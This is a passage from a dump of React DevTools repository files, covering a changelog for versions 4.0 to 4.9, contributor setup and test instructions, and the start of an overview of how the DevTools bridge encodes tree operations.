Proxied methods should be safely dehydrated for display ([@pfongkye](https://github.com/pfongkye) in [b6e1d08](https://github.com/facebook/react/commit/b6e1d08)\n* Property list values should show whitespace ([sammarks](https://github.com/sammarks) in [#19640](https://github.com/facebook/react/pull/19640))\n* Fix crash when inspecting document.all ([omarsy](https://github.com/omarsy) in [#19619](https://github.com/facebook/react/pull/19619))\n* Don't call generators during inspection since they may be stateful ([todortotev](https://github.com/todortotev) in [#19831](https://github.com/facebook/react/pull/19831))\n* Fix bad null check in DevTools highlight code ([bvaughn](https://github.com/bvaughn) in [#20010](https://github.com/facebook/react/pull/20010))\n* Handled a missing suspense fiber when suspense is filtered on the profiler ([IDrissAitHafid](https://github.com/IDrissAitHafid) in [#ISSUE](https://github.com/facebook/react/pull/ISSUE))\n* Fixed unfound node error when Suspense is filtered ([IDrissAitHafid](https://github.com/IDrissAitHafid) in [#20019](https://github.com/facebook/react/pull/20019))\n* Always overrides the dispatcher when shallow rendering ([bvaughn](https://github.com/bvaughn) in [#20011](https://github.com/facebook/react/pull/20011))\n* Frevent phishing attacks ([iamwilson](https://github.com/iamwilson) in [#19934](https://github.com/facebook/react/pull/19934))\n\n---\n\n### Other\n* Enable source maps for DevTools production builds ([jpribyl ](https://github.com/jpribyl ) in [#19773](https://github.com/facebook/react/pull/19773))\n* Drop support for IE 11 ([bvaughn](https://github.com/bvaughn) in [#19875](https://github.com/facebook/react/pull/19875))\n* Remove ReactJS.org version check \"cheat\" ([sktguha](https://github.com/sktguha) in [#19939](https://github.com/facebook/react/pull/19939))\n* Update outdated links and fix two broken links ([sktguha](https://github.com/sktguha) in [#19985](https://github.com/facebook/react/pull/19985))\n* Remove support for deprecated/unreleased React Flare event system ([trueadm](https://github.com/trueadm) in [#19520](https://github.com/facebook/react/pull/19520))\n\n###### Improved DevTools editing interface\n\n**Improved parsing**\nValue parsing logic has been relaxed so as to no longer require quotes around strings or double quotes:\n![looser parsing logic](https://user-images.githubusercontent.com/29597/93407442-36504300-f860-11ea-90e8-5ad54c9b8b34.gif)\n\n**Modifying arrays**\nNew values can be added to array props/state/hooks now. Existing values can also be deleted:\n![adding and removing values from an array](https://user-images.githubusercontent.com/29597/93407457-3ea87e00-f860-11ea-8b85-a41904e6c25f.gif)\n\n**Modifying objects**\nNew keys can be added to object props/state/hooks now. Existing keys can be renamed or deleted entirely:\n![adding/renaming/removing object properties](https://user-images.githubusercontent.com/29597/93407464-449e5f00-f860-11ea-909b-49dafb56f6c5.gif)\n\n---\n\n### 4.8.2\nJuly 15, 2020\n#### Bugfix\n* Fix broken `Suspense` heuristic ([bvaughn](https://github.com/bvaughn) in [#19373](https://github.com/facebook/react/pull/19373))\n* Fixed error with standalone in HTTPS mode ([b-ponomarenko](https://github.com/b-ponomarenko) in [#19336](https://github.com/facebook/react/pull/19336))\n* Disable DevTools minification ([bvaughn](https://github.com/bvaughn) in [#19369](https://github.com/facebook/react/pull/19369))\n\n---\n\n### 4.8.1\nJuly 10, 2020\n#### Bugfix\n* Fix break-on-warning to truly be off by default. ([gaearon](https://github.com/gaearon) in [#19309](https://github.com/facebook/react/pull/19309))\n\n---\n\n### 4.8.0\nJuly 9, 2020\n#### Features\n* Add SSL support to React devtools standalone ([ittaibaratz](https://github.com/ittaibaratz) in [#19191](https://github.com/facebook/react/pull/19191))\n* New break-on-warning feature (off by default) ([bvaughn](https://github.com/bvaughn) in [#19048](https://github.com/facebook/react/pull/19048))\n\n#### Bugfix\n* Updates Electron version for react-devtools to pull in several security fixes ([gsimone](https://github.com/gsimone) in [#19280](https://github.com/facebook/react/pull/19280))\n* Remove unnecessary tag end from CommitRanked view ([finico](https://github.com/finico) in [#19195](https://github.com/facebook/react/pull/19195))\n* Shutdown DevTools Bridge synchronously when unmounting ([bvaughn](https://github.com/bvaughn) in [#19180](https://github.com/facebook/react/pull/19180))\n\n---\n\n### 4.7.0\nMay 18, 2020\n\n#### Features\n* Improved appended component stacks for third party warnings to be more like native ([bvaughn](https://github.com/bvaughn) in [#18656](https://github.com/facebook/react/pull/18656))\n* Improve inline search results by highlighting match on HOC badge ([bl00mber](https://github.com/bl00mber) in [#18802](https://github.com/facebook/react/pull/18802))\n* Add key badge to inspected element in right hand pane ([karlhorky]](https://github.com/karlhorky) in [#18737](https://github.com/facebook/react/pull/18737))\n* Improve Profiler snapshot selector drag-and-drop UX ([bl00mber](https://github.com/bl00mber) in [#18852](https://github.com/facebook/react/pull/18852))\n* Profiler tooltip now includes self duration to make it easier to scan times without requiring selection ([bvaughn](https://github.com/bvaughn) in [#18510](https://github.com/facebook/react/pull/18510))\n* Rendered by list also now highlights native elements on hover ([hristo-kanchev](https://github.com/hristo-kanchev) in [#18479](https://github.com/facebook/react/pull/18479))\n* Add in-page highlighting for mouse-over interactions in Profiler ([bl00mber](https://github.com/bl00mber) in [#18745](https://github.com/facebook/react/pull/18745))\n\n#### Bugfix\n* Fix Profiler bug \"_Could not find commit data for root_\" by resetting selected node on root change ([bl00mber](https://github.com/bl00mber) in [#18880](https://github.com/facebook/react/pull/18880))\n* Add `imported` flag to Profiling data to more reliably differentiate between imported and session data ([bl00mber](https://github.com/bl00mber) in [#18913](https://github.com/facebook/react/pull/18913))\n* Disable Profiler filtering to avoid edge case runtime error \"_Cannot read property 'duration' of undefined_\" ([bvaughn](https://github.com/bvaughn) in [#18862](https://github.com/facebook/react/pull/18862))\n* Fix Profiler bug \"_cannot read property 'memoizedState' of null_\" ([bvaughn](https://github.com/bvaughn) in [#18522](https://github.com/facebook/react/pull/18522))\n* Whitespace search results highlighting bug fix ([bvaughn](https://github.com/bvaughn) in [#18527](https://github.com/facebook/react/pull/18527))\n* Improved confusing Profiler tooltip text for components that did not render ([bvaughn](https://github.com/bvaughn) in [#18523](https://github.com/facebook/react/pull/18523))\n* Fix edge case performance issue when highlight elements enabled ([Faelivrinx](https://github.com/Faelivrinx) in [#18498](https://github.com/facebook/react/pull/18498))\n* Disabled Webpack auto polyfill for `setImmediate` ([bvaughn](https://github.com/bvaughn) in [#18860](https://github.com/facebook/react/pull/18860))\n* Fix mouse interactions for standalone DevTools on Linux ([bl00mber](https://github.com/bl00mber) in [#18772](https://github.com/facebook/react/pull/18772))\n\n---\n\n### 4.6.0\nMarch 26, 2020\n\n#### Features\n* Add shortcut keys for tab switching ([kerolloz](https://github.com/kerolloz) in [#18248](https://github.com/facebook/react/pull/18248))\n\n#### Bugfix\n* Improve display of complex values for `useDebugValue` ([eps1lon](https://github.com/eps1lon) in [#18070](https://github.com/facebook/react/pull/18070))\n* Fix minor CSS layout issue that broke Profiler commit selector UI ([bvaughn](https://github.com/bvaughn) in [#18286](https://github.com/facebook/react/pull/18286))\n* Inlined DevTools event emitter implementation to fix a source of Profiler bugs ([bvaughn](https://github.com/bvaughn) in [#18378](https://github.com/facebook/react/pull/18378))\n\n#### Cleanup\n* Remove \"es6-symbol\" dependency from \"react-devtools-inline\" package ([bvaughn](https://github.com/bvaughn) in [#18397](https://github.com/facebook/react/pull/18397))\n\n---\n\n### 4.5.0\nMarch 3, 2020\n\n#### Features\n* Improve function props display for inspected elements ([bvaughn](https://github.com/bvaughn) in [#17789](https://github.com/facebook/react/pull/17789))\n* Re-enabled context menu for Firefox extension ([bvaughn](https://github.com/bvaughn) in [#17838](https://github.com/facebook/react/pull/17838))\n* Apply changes to props/state/hooks on blur (rather than on ENTER) ([muratcatal](https://github.com/muratcatal) in [#17062](https://github.com/facebook/react/pull/17062))\n* Add info tooltip to nodes in Profiler ([M-Izadmehr](https://github.com/M-Izadmehr) in [#18048](https://github.com/facebook/react/pull/18048))\n* Added resize support to Components panel ([hristo-kanchev](https://github.com/hristo-kanchev) in [#18046](https://github.com/facebook/react/pull/18046))\n\n#### Bugfix\n* Improve how empty commits are filtered ([nutboltu](https://github.com/nutboltu) in [#17931](https://github.com/facebook/react/pull/17931))\n* BigInt serialize issue in devtools copy to clipboard ([bvaughn](https://github.com/bvaughn) in [#17771](https://github.com/facebook/react/pull/17771))\n* Renamed \"backend.js\" to \"react_devtools_backend.js\" to reduce potential confusion from profiling ([bvaughn](https://github.com/bvaughn) in [#17790](https://github.com/facebook/react/pull/17790))\n* Update root styles to prevent `box-sizing` style from leaking outside of inline target ([GasimGasimzada](https://github.com/GasimGasimzada) in [#17775](https://github.com/facebook/react/pull/17775))\n* Fix \"_Cannot read property 'sub' of undefined_\" error when navigating to plain-text pages ([wfnuser](https://github.com/wfnuser) in [#17848](https://github.com/facebook/react/pull/17848))\n* Fix potential error with composite hooks during shallow re-rendering ([bvaughn](https://github.com/bvaughn) in [#18130](https://github.com/facebook/react/pull/18130))\n* Scope dev tools wildcard styles within DevTools CSS class ([@GasimGasimzada](https://github.com/GasimGasimzada) in [9cc094a](https://github.com/facebook/react/commit/9cc094a19a9e43d33ba5ac713935e657ea4e3cdd#diff-ab5ee5655b2aac3260e1f836546a13c9))\n\n###### Info summary tooltips\n\n![Profiler tooltips in Flamegraph chart](https://user-images.githubusercontent.com/28848972/74614074-09468100-5115-11ea-8c87-c224d229ef15.gif)\n\n![Profiler tooltips in Ranked chart](https://user-images.githubusercontent.com/28848972/74614072-08155400-5115-11ea-8d19-7ab3d27b9b0a.gif)\n\n###### Components panel resize\n\n![Horizontal Components panel resizing](https://user-images.githubusercontent.com/23095052/74603147-ca7edf80-50b0-11ea-887f-db7ada855c50.gif)\n\n![Vertical Components panel resizing](https://user-images.githubusercontent.com/23095052/74603149-d074c080-50b0-11ea-820f-63db30b4c285.gif)\n\n---\n\n### 4.4.0\nJanuary 3, 2020\n#### Features\n* Re-enabled \"copy\" prop/state/hooks context menu option for Firefox ([bvaughn](https://github.com/bvaughn),[rpl](https://github.com/rpl) in [#17740](https://github.com/facebook/react/pull/17740))\n* Shift+Enter focuses previous search result in Components tree ([Bo-Duke](https://github.com/Bo-Duke) in [#17005](https://github.com/facebook/react/pull/17005))\n* Properly display formatted `RegExp` values in props/state panel([bvaughn](https://github.com/bvaughn) in [#17690](https://github.com/facebook/react/pull/17690))\n* Profiler commit selector wraps around for easier navigation of large profiles ([bvaughn](https://github.com/bvaughn) in [#17760](https://github.com/facebook/react/pull/17760))\n#### Bugfix\n* Check `document.contentType` before injecting hook to avoid breaking XML file syntax highlighting in Firefox ([bvaughn](https://github.com/bvaughn) in [#17739](https://github.com/facebook/react/pull/17739))\n* Fix standalone UI not responding to mouse interactions due to `webkit-app-region` style ([cwatson88](https://github.com/cwatson88) in [#17584](https://github.com/facebook/react/pull/17584))\n* Support inspecting object values with null protos ([bvaughn](https://github.com/bvaughn) in [#17757](https://github.com/facebook/react/pull/17757))\n* Support inspecting values that have overridden `hasOwnProperty` attribute ([bvaughn](https://github.com/bvaughn) in [#17768](https://github.com/facebook/react/pull/17768))\n* Fixed regression that made Profiler \"Could not find node…\" error happen more frequently ([bvaughn](https://github.com/bvaughn) in [#17759](https://github.com/facebook/react/pull/17759))\n\n---\n\n### 4.3.0\nDecember 20, 2019\n#### Features\n* Show component location for selected element in bottom/right panel ([bvaughn](https://github.com/bvaughn) in [#17567](https://github.com/facebook/react/pull/17567))\n* Improved inspected element values with inline previews ([bvaughn](https://github.com/bvaughn) in [#17579](https://github.com/facebook/react/pull/17579))\n* Improved selection and toggling for inspected element panel ([bvaughn](https://github.com/bvaughn) in [#17588](https://github.com/facebook/react/pull/17588))\n* Copy context menu for inspecting and copying props/state/hooks/context values ([bvaughn](https://github.com/bvaughn) in [#17608](https://github.com/facebook/react/pull/17608))\n#### Bug fixes\n* Fix serialization for `BigInt` type so that it does not break inspection panel. ([nutboltu](https://github.com/nutboltu) in [#17233](https://github.com/facebook/react/pull/17233))\n* Fix display name logic for `forwardRef`s that use `displayName` property ([zthxxx](https://github.com/zthxxx) in [#17613](https://github.com/facebook/react/pull/17613))\n\n---\n\n### 4.2.1\nNovember 27, 2019\n#### Bug fixes\n* Profiler automatically filters certain types of empty (no work) commits. ([bvaughn](https://github.com/bvaughn) in [#17253](https://github.com/facebook/react/pull/17253))\n* Fix memoized components showing as \"Anonymous\" in Components tab. ([wsmd](https://github.com/wsmd) in [#17274](https://github.com/facebook/react/pull/17274))\n* Edge-case bugfix for non-string element keys. ([bvaughn](https://github.com/bvaughn) in [#17164](https://github.com/facebook/react/pull/17164))\n\n---\n\n### 4.2.0\nOctober 3, 2019\n#### Features\n* \"Highlight updates\" feature added for browser extensions and `react-devtools-inline` NPM package. ([bvaughn](https://github.com/bvaughn) in [#16989](https://github.com/facebook/react/pull/16989))\n\n---\n\n### 4.1.3\nSeptember 30, 2019\n#### Bug fixes\n* Fixed regression where DevTools wouldn't properly connect with apps when using the `file://` protocol. ([linshunghuang](https://github.com/linshunghuang) in [#16953](https://github.com/facebook/react/pull/16953))\n\n---\n\n### 4.1.2\nSeptember 27, 2019\n#### Bug fixes\n* Fixed an infinite loop that occurred in some cases with prop values of `NaN`. ([bvaughn](https://github.com/bvaughn) in [#16934](https://github.com/facebook/react/pull/16934))\n\n---\n\n### 4.1.1\nSeptember 26, 2019\n#### Bug fixes\n* Fixed bug where Components panel was always empty for certain users. ([linshunghuang](https://github.com/linshunghuang) in [#16900](https://github.com/facebook/react/pull/16900))\n* Fixed regression in DevTools editable hooks interface that caused primitive values to be shown as `undefined`. ([bvaughn](https://github.com/bvaughn) in [#16867](https://github.com/facebook/react/pull/16867))\n* Fixed bug where DevTools showed stale values in props/state/hooks editing interface. ([bvaughn](https://github.com/bvaughn) in [#16878](https://github.com/facebook/react/pull/16878))\n* Show unsupported version dialog with downgrade instructions. ([bvaughn](https://github.com/bvaughn) in [#16897](https://github.com/facebook/react/pull/16897))\n\n---\n\n### 4.1.0\nSeptember 19, 2019\n#### Features\n* Props/state editor supports adding new values and changing value types. ([hristo-kanchev](https://github.com/hristo-kanchev) in [#16700](https://github.com/facebook/react/pull/16700))\n#### Bug fixes\n* Profiler correctly saves/exports profiling data in Firefox now. ([hristo-kanchev](https://github.com/hristo-kanchev) in [#16612](https://github.com/facebook/react/pull/16612))\n* Class components now show \"legacy context\" header (rather than \"context\") for legacy API. ([hristo-kanchev](https://github.com/hristo-kanchev) in [#16617](https://github.com/facebook/react/pull/16617))\n* Show component source button (\"<>\") now highlights the `render` method for class components. ([theKashey](https://github.com/theKashey) in [#16759](https://github.com/facebook/react/pull/16759))\n* Bugfix for components with non-standard object values for `function.name`. ([LetItRock](https://github.com/LetItRock) in [#16798](https://github.com/facebook/react/pull/16798))\n\n---\n\n### 4.0.6\nAugust 26, 2019\n#### Bug fixes\n* Remove ⚛️ emoji prefix from Firefox extension tab labels\n* Standalone polyfills `Symbol` usage\n\n---\n\n### 4.0.5\nAugust 19, 2019\n#### Bug fixes\n* Props, state, and context values are alpha sorted.\n* Standalone DevTools properly serves backend script over localhost:8097\n\n---\n\n### 4.0.4\nAugust 18, 2019\n#### Bug fixes\n* Bugfix for potential error if a min-duration commit filter is applied after selecting a fiber in the Profiler UI.\n\n---\n\n### 4.0.3\nAugust 17, 2019\n#### Bug fixes\n* ES6 `Map` and `Set`, typed arrays, and other unserializable types (e.g. Immutable JS) can now be inspected.\n* Empty objects and arrays now display an \"(empty)\" label to the right to reduce confusion.\n* Components that use only the `useContext` hook now properly display hooks values in side panel.\n* Style editor now supports single quotes around string values (e.g. both `\"red\"` and `'red'`).\n* Fixed edge case bug that prevented profiling when both React v16 and v15 were present on a page.\n\n---\n\n### 4.0.2\nAugust 15, 2019\n#### Permissions cleanup\n* Removed unnecessary `webNavigation ` permission from Chrome and Firefox extensions.\n\n---\n\n### 4.0.1\nAugust 15, 2019\n#### Permissions cleanup\n* Removed unnecessary `<all_urls>`, `background`, and `tabs` permissions from Chrome and Firefox extensions.\n\n---\n\n### 4.0.0\nAugust 15, 2019\n\n---\n\n### General changes\n\n#### Improved performance\nThe legacy DevTools extension used to add significant performance overhead, making it unusable for some larger React applications. That overhead has been effectively eliminated in version 4.\n\n[Learn more](https://github.com/facebook/react/blob/main/packages/react-devtools/OVERVIEW.md) about the performance optimizations that made this possible.\n\n#### Component stacks\n\nReact component authors have often requested a way to log warnings that include the React [\"component stack\"](https://reactjs.org/docs/error-boundaries.html#component-stack-traces). DevTools now provides an option to automatically append this information to warnings (`console.warn`) and errors (`console.error`).\n\n![Example console warning with component stack added](https://user-images.githubusercontent.com/29597/62228120-eec3da80-b371-11e9-81bb-018c1e577389.png)\n\nIt can be disabled in the general settings panel:\n\n![Settings panel showing \"component stacks\" option](https://user-images.githubusercontent.com/29597/62227882-8f65ca80-b371-11e9-8a4e-5d27011ad1aa.png)\n\n---\n\n### Components tree changes\n\n#### Component filters\n\nLarge component trees can sometimes be hard to navigate. DevTools now provides a way to filter components so that you can hide ones you're not interested in seeing.\n\n![Component filter demo video](https://user-images.githubusercontent.com/29597/62229209-0bf9a880-b374-11e9-8f84-cebd6c1a016b.gif)\n\nHost nodes (e.g. HTML `<div>`, React Native `View`) are now hidden by default, but you can see them by disabling that filter.\n\nFilter preferences are remembered between sessions.\n\n#### No more inline props\n\nComponents in the tree no longer show inline props. This was done to [make DevTools faster](https://github.com/facebook/react/blob/main/packages/react-devtools/OVERVIEW.md) and to make it easier to browse larger component trees.\n\nYou can view a component's props, state, and hooks by selecting it:\n\n![Inspecting props](https://user-images.githubusercontent.com/29597/62303001-37da6400-b430-11e9-87fd-10a94df88efa.png)\n\n#### \"Rendered by\" list\n\nIn React, an element's \"owner\" refers to the thing that rendered it. Sometimes an element's parent is also its owner, but usually they're different. This distinction is important because props come from owners.\n\n![Example code](https://user-images.githubusercontent.com/29597/62229551-bbcf1600-b374-11e9-8411-8ff411f4f847.png)\n\nWhen you are debugging an unexpected prop value, you can save time if you skip over the parents.\n\nDevTools v4 adds a new \"rendered by\" list in the right hand pane that allows you to quickly step through the list of owners to speed up your debugging.\n\n![Example video showing the \"rendered by\" list](https://user-images.githubusercontent.com/29597/62229747-4152c600-b375-11e9-9930-3f6b3b92be7a.gif)\n\n#### Owners tree\n\nThe inverse of the \"rendered by\" list is called the \"owners tree\". It is the list of things rendered by a particular component- (the things it \"owns\"). This view is kind of like looking at the source of the component's render method, and can be a helpful way to explore large, unfamiliar React applications.\n\nDouble click a component to view the owners tree and click the \"x\" button to return to the full component tree:\n\n![Demo showing \"owners tree\" feature](https://user-images.githubusercontent.com/29597/62229452-84f90000-b374-11e9-818a-61eec6be0bb4.gif)\n\n#### No more horizontal scrolling\n\nDeeply nested components used to require both vertical and horizontal scrolling to see, making it easy to \"get lost\" within large component trees. DevTools now dynamically adjusts nesting indentation to eliminate horizontal scrolling.\n\n![Video demonstration dynamic indentation to eliminate horizontal scrolling](https://user-images.githubusercontent.com/29597/62246661-f8ad0400-b398-11e9-885f-284f150a6d76.gif)\n\n#### Improved hooks support\n\nHooks now have the same level of support as props and state: values can be edited, arrays and objects can be drilled into, etc.\n\n![Video demonstrating hooks support](https://user-images.githubusercontent.com/29597/62230532-d86c4d80-b376-11e9-8629-1b2129b210d6.gif)\n\n#### Improved search UX\n\nLegacy DevTools search filtered the components tree to show matching nodes as roots. This made the overall structure of the application harder to reason about, because it displayed ancestors as siblings.\n\nSearch results are now shown inline similar to the browser's find-in-page search.\n\n![Video demonstrating the search UX](https://user-images.githubusercontent.com/29597/62230923-c63edf00-b377-11e9-9f95-aa62ddc8f62c.gif)\n\n#### Higher order components\n\n[Higher order components](https://reactjs.org/docs/higher-order-components.html) (or HOCs) often provide a [custom `displayName`](https://reactjs.org/docs/higher-order-components.html#convention-wrap-the-display-name-for-easy-debugging) following a convention of `withHOC(InnerComponentName)` in order to make it easier to identify components in React warnings and in DevTools.\n\nThe new Components tree formats these HOC names (along with several built-in utilities like `React.memo` and `React.forwardRef`) as a special badge to the right of the decorated component name.\n\n![Screenshot showing HOC badges](https://user-images.githubusercontent.com/29597/62302774-c4385700-b42f-11e9-9ef4-49c5f18d6276.png)\n\nComponents decorated with multiple HOCs show the topmost badge and a count. Selecting the component shows all of the HOCs badges in the properties panel.\n\n![Screenshot showing a component with multiple HOC badges](https://user-images.githubusercontent.com/29597/62303729-7fadbb00-b431-11e9-8685-45f5ab52b30b.png)\n\n#### Restoring selection between reloads\n\nDevTools now attempts to restore the previously selected element when you reload the page.\n\n![Video demonstrating selection persistence](https://user-images.githubusercontent.com/810438/63130054-2c02ac00-bfb1-11e9-92fa-382e9e433638.gif)\n\n#### Suspense toggle\n\nReact's experimental [Suspense API](https://reactjs.org/docs/react-api.html#suspense) lets components \"wait\" for something before rendering. `<Suspense>` components can be used to specify loading states when components deeper in the tree are waiting to render.\n\nDevTools lets you test these loading states with a new toggle:\n\n![Video demonstrating suspense toggle UI](https://user-images.githubusercontent.com/29597/62231446-e15e1e80-b378-11e9-92d4-086751dc65fc.gif)\n\n---\n\n### Profiler changes\n\n#### Reload and profile\n\nThe profiler is a powerful tool for performance tuning React components. Legacy DevTools supported profiling, but only after it detected a profiling-capable version of React. Because of this there was no way to profile the initial _mount_ (one of the most performance sensitive parts) of an application.\n\nThis feature is now supported with a \"reload and profile\" action:\n\n![Video demonstrating the reload-and-profile feature](https://user-images.githubusercontent.com/29597/62233455-7a8f3400-b37d-11e9-9563-ec334bfb2572.gif)\n\n#### Import/export\n\nProfiler data can now be exported and shared with other developers to enable easier collaboration.\n\n![Video demonstrating exporting and importing profiler data](https://user-images.githubusercontent.com/29597/62233911-6566d500-b37e-11e9-9052-692378c92538.gif)\n\nExports include all commits, timings, interactions, etc.\n\n#### \"Why did this render?\"\n\n\"Why did this render?\" is a common question when profiling. The profiler now helps answer this question by recording which props and state change between renders.\n\n![Video demonstrating profiler \"why did this render?\" feature](https://user-images.githubusercontent.com/29597/62234698-0f932c80-b380-11e9-8cf3-a5183af0c388.gif)\n\nBecause this feature adds a small amount of overhead, it can be disabled in the profiler settings panel.\n\n#### Component renders list\n\nThe profiler now displays a list of each time the selected component rendered during a profiling session, along with the duration of each render. This list can be used to quickly jump between commits when analyzing the performance of a specific component.\n\n![Video demonstrating profiler's component renders list](https://user-images.githubusercontent.com/29597/62234547-bcb97500-b37f-11e9-9615-54fba8b574b9.gif)\n"
  },
  {
    "path": "packages/react-devtools/CONTRIBUTING.md",
    "content": "\nInterested in contributing to React DevTools, but not sure where to start? This is the place!\n\n# Install project dependencies\nTo get started, check out the React repo:\n```sh\ngit clone git@github.com:facebook/react.git\n```\nNext install dependencies:\n```sh\ncd <react-repo>\nyarn install\n```\n\n# Build React and React DOM\nNext, check out (or build) the local version of React that DevTools uses:\n\n### Option 1 (fastest): Checkout pre-built React\nTo check out the latest version of React (built by CI from the `main` branch) run:\n```sh\ncd <react-repo>\n\ncd scripts/release\nyarn install\n\n./download-experimental-build.js --commit=main\n```\n\n### Option 2: Build from source\nIf your DevTools change includes local changes to React (or if CI is down for some reason) you can also build from source:\n```sh\ncd <react-repo>\nyarn build-for-devtools\n```\n\n# Testing your changes\n\n### Option 1 (fastest): Using the test shell\nMost changes can be tested using the DevTools test app. To run this, you'll need two terminals:\n\nFirst, run DevTools in DEV mode:\n```sh\ncd <react-repo>\ncd packages/react-devtools-inline\nyarn start\n```\nNext, run the test shell:\n```sh\ncd <react-repo>\ncd packages/react-devtools-shell\nyarn start\n```\nNow any changes you make to DevTools will automatically reload in the test app at http://localhost:8080\n\n### Option 2: Using the extension\nSome changes requiring testing in the browser extension (e.g. like \"named hooks\"). To do this, run the following script:\n```sh\ncd <react-repo>\ncd packages/react-devtools-extensions\nyarn build:chrome:local && yarn test:chrome\n```\nThis will launch a standalone version of Chrome with the locally built React DevTools pre-installed. If you are testing a specific URL, you can make your testing even faster by passing the `--url` argument to the test script:\n```sh\nyarn build:chrome && yarn test:chrome --url=<url-to-test>\n```\n\n# Unit tests\nCore DevTools functionality is typically unit tested (see [here](https://github.com/facebook/react/tree/main/packages/react-devtools-shared/src/__tests__)). To run tests, you'll first need to build or download React and React DOM ([as explained above](#build-react-and-react-dom)) and then use the following NPM script:\n```sh\nyarn test-build-devtools\n```\nYou can connect tests to a debugger as well if you'd like by running:\n```sh\nyarn debug-test-build-devtools\n```\n\n# Finding the right first issue\nThe React team maintains [this list of \"good first issues\"](https://github.com/facebook/react/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc+label%3A%22Component%3A+Developer+Tools%22+label%3A%22good+first+issue%22) for anyone interested in contributing to DevTools. If you see one that interests you, leave a comment!\n\nIf you have ideas or suggestions of your own, you can also put together a PR demonstrating them. We suggest filing an issue before making any substantial changes though, to ensure that the idea is something the team feels comfortable landing.\n"
  },
  {
    "path": "packages/react-devtools/OVERVIEW.md",
    "content": "# Overview\n\nThe React DevTools extension consists of multiple pieces:\n* The **frontend** portion is the extension you see (the Components tree, the Profiler, etc.).\n* The **backend** portion is invisible. It runs in the same context as React itself. When React commits changes to e.g. the DOM, the backend is responsible for notifying the frontend by sending a message through the **bridge** (an abstraction around e.g. `postMessage`).\n\nOne of the largest performance bottlenecks of the old React DevTools was the amount of bridge traffic. Each time React commits an update, the backend sends every fiber that changed across the bridge, resulting in a lot of (JSON) serialization. The primary goal for the DevTools rewrite was to reduce this traffic. Instead of sending everything across the bridge, **the backend should only send the minimum amount required to render the Components tree**. The frontend can request more information (e.g. an element's props) on-demand, only as needed.\n\nThe old DevTools also rendered the entire application tree in the form of a large DOM structure of nested nodes. A secondary goal of the rewrite was to avoid rendering unnecessary nodes by using a windowing library (specifically [react-window](https://github.com/bvaughn/react-window)).\n\n## Components panel\n\n### Serializing the tree\n\nEvery React commit that changes the tree in a way DevTools cares about results in an \"_operations_\" message being sent across the bridge. These messages are lightweight patches that describe the changes that were made. (We don't resend the full tree structure like in legacy DevTools.)\n\nThe payload for each message is a typed array. The first two entries are numbers that identify which renderer and root the update belongs to (for multi-root support). Then the strings are encoded in a [string table](#string-table). The rest of the array depends on the operations being made to the tree.\n\nNo updates are required for most commits because we only send the following bits of information: element type, id, parent id, owner id, name, and key. Additional information (e.g. props, state) requires a separate [\"_inspectElement_\" message](#inspecting-an-element).\n\n#### String table\n\nThe string table is encoded right after the first two numbers.\n\nIt consists of:\n\n1. the total length of the next items that belong to the string table\n2. for each string in a table:\n    * encoded size\n    * a list of its UTF encoded codepoints\n\nFor example, for `Foo` and `Bar` we would see:\n\n```\n[\n  8,   // string table length\n  3,   // encoded display name size\n  70,  // \"F\"\n  111, // \"o\"\n  111, // \"o\"\n  3,   // encoded display name size\n  66,  // \"B\"\n  97,  // \"a\"\n  114, // \"r\"\n]\n```\n\nLater operations will reference strings by a one-based index. For example, `1` would mean `\"Foo\"`, and `2` would mean `\"Bar\"`. The `0` string id always represents `null` and isn't explicitly encoded in the table.\n\n#### Adding a root node\n\nAdding a root to the tree requires sending 5 numbers:\n\n1. add operation constant (`1`)\n1. fiber id\n1. element type constant (`11 === ElementTypeRoot`)\n1. root has `StrictMode` enabled\n1. supports profiling flag\n1. supports `StrictMode` flag\n1. owner metadata flag\n\nFor example, adding a root fiber with an id of 1:\n```js\n[\n  1, // add operation\n  1, // fiber id\n  11, // ElementTypeRoot\n  1, // this root is StrictMode enabled\n  1, // this root's renderer supports profiling\n  1, // this root's renderer supports StrictMode\n  1, // this root has owner metadata\n]\n```\n\n#### Adding a leaf node\n\nAdding a leaf node to the tree requires sending 7 numbers:\n\n1. add operation constant (`1`)\n1. fiber id\n1. element type constant (e.g. `1 === ElementTypeClass`)\n1. parent fiber id\n1. owner fiber id\n1. string table id for `displayName`\n1. string table id for `key`\n\nFor example, adding a function component `<Foo>` with an id 2:\n```js\n[\n  1,   // add operation\n  2,   // fiber id\n  1,   // ElementTypeClass\n  1,   // parent id\n  0,   // owner id\n  1,   // id of \"Foo\" displayName in the string table\n  0,   // id of null key in the string table (always zero for null)\n]\n```\n\n#### Removing a node\n\nRemoving a fiber from the tree (a root or a leaf) requires sending:\n\n1. remove operation constant (`2`)\n1. how many items were removed\n1. number of children\n   * (followed by a children-first list of removed fiber ids)\n\nFor example, removing fibers with ids of 35 and 21:\n```js\n[\n  2, // remove operation\n  2, // number of removed fibers\n  35, // first removed id\n  21, // second removed id\n]\n```\n\n#### Re-ordering children\n\n1. re-order children constant (`3`)\n1. fiber id\n1. number of children\n   * (followed by an ordered list of child fiber ids)\n\nFor example:\n```js\n[\n  3,  // re-order operation\n  15, // fiber id\n  2,  // number of children\n  35, // first child id\n  21, // second child id\n]\n```\n\n#### Updating tree base duration\n\nWhile profiling is in progress, we send an extra operation any time a fiber is added or updated in a way that affects its tree base duration. This information is needed by the Profiler UI in order to render the \"snapshot\" and \"ranked\" chart views.\n\n1. tree base duration constant (`4`)\n1. fiber id\n1. tree base duration\n\nFor example, updating the base duration for a fiber with an id of 1:\n```js\n[\n  4,  // update tree base duration operation\n  4,  // tree base duration operation\n  1,  // fiber id\n  32, // new tree base duration value\n]\n```\n\n#### Updating errors and warnings on a Fiber\n\nWe record calls to `console.warn` and `console.error` in the backend.\nPeriodically we notify the frontend that the number of recorded calls got updated.\nWe only send the serialized messages as part of the `inspectElement` event.\n\n\n```js\n[\n  5, // update error/warning counts operation\n  4, // fiber id\n  0, // number of calls to console.error from that fiber\n  3, // number of calls to console.warn from that fiber\n]\n```\n\n#### Removing a root\n\nA special case of unmounting an entire root (including its descendants). This specialized message replaces what would otherwise be a series of remove-node operations. It is currently only used in one case: updating component filters. The primary motivation for this is actually to preserve fiber ids for components that are re-added to the tree after the updated filters have been applied. This preserves mappings between the Fiber (id) and things like error and warning logs.\n\n```js\n[\n  6, // remove root operation\n]\n```\n\nThis operation has no additional payload because renderer and root ids are already sent at the beginning of every operations payload.\n\n#### Setting the mode for a subtree\n\nThis message specifies that a subtree operates under a specific mode (e.g. `StrictMode`).\n\n```js\n[\n  7,   // set subtree mode\n  1,   // subtree root fiber id\n  0b01 // mode bitmask\n]\n```\n\nModes are 